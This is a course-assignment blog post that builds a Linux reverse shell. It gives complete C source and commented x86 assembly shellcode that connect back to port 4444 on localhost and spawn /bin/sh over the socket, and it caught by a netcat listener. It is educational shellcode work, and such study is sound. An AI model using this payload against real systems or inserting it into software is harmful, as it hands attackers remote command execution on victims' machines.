A reverse shell is a connection established from the victim’s system to the attacker controlled system over a specific port. The major difference between a bind shell and a reverse shell lies in the flow of connection.
In this blog post, we will create a reverse shell leveraging the ASM code from the previous post.
Following is a simple reverse shell in C:
#include <stdio.h>
#include<sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include<unistd.h>
#define remote_addr "127.0.0.1" // IP Address to connect back
#define remote_port 4444 //Port to connect back
int socket_d;
int socket_d_peer;
struct sockaddr_in sockstruct;
int main()
{
//int socket_d = socket(domain, type, protocol)
int socket_d = socket(AF_INET, SOCK_STREAM, 6);
sockstruct.sin_family = AF_INET;
sockstruct.sin_port = htons(remote_port);
sockstruct.sin_addr.s_addr = inet_addr(remote_addr);
connect(socket_d, (struct sockaddr*) &sockstruct, sizeof(sockstruct));
// listen(socket_d, 2);
// printf("Listening\n");
// socket_d_peer = accept(socket_d, NULL, NULL);
dup2(socket_d, 0); //STDIN
dup2(socket_d, 1); //STDOUT
dup2(socket_d, 2); //STDERR
execve("/bin/sh", NULL, NULL);
close(socket_d);
return 0;
}
The above code once compiled and executed will connect back to localhost on port 4444 as seen below:

And following a similar fashion as in the previous post where we described a bind shell, we write a ASM quivalent of the above reverse shell.
Below is the commented x86-ASM code.
; Syscalls - cat /usr/include/i386-linux-gnu/asm/unistd_32.h
; Call numbers for socketcall -- /usr/include/linux/net.h
global _start
section .text
_start:
sock:
; creating a socket syscall
xor eax, eax
xor ebx, ebx
xor ecx, ecx
mov bl, 0x1
push ecx
push ebx
push 0x2
mov ecx, esp
mov al, 0x66
int 0x80
mov esi, eax ; Saving socket for further use
; creating a connect function
; connect(socket_d, (struct sockaddr*) &sockstruct, sizeof(sockstruct))
mov al, 0x66
; creating a sockaddr structure
xor ebx, ebx
push 0x0101017f ; IP address (127.0.0.1)
push word 0x5c11 ; Port (4444)
push word 0x2 ; AF_INET
mov ecx, esp
push 0x10 ; Size of sockstruct
push ecx ; Sockstruct from stack
push esi ; Earlier saved socket
mov ecx, esp
mov bl, 0x3
int 0x80
; piping output to our socket
mov ebx, esi
mov ecx, 0x3
pipe:
mov al, 0x3f
dec ecx
int 0x80
inc ecx
loop pipe
; execve syscall
xor ecx, ecx
mov edx, ecx
; Null terminated /bin/bash in Little Endian format
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80
; Exit
xor eax, eax
mov al, 0x1
int 0x80
We compile and link our shellcode, set up our netcat listener on port 4444 and execute our reverse shell.

And that’s it folks! We have a reverse shell up and running!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-14690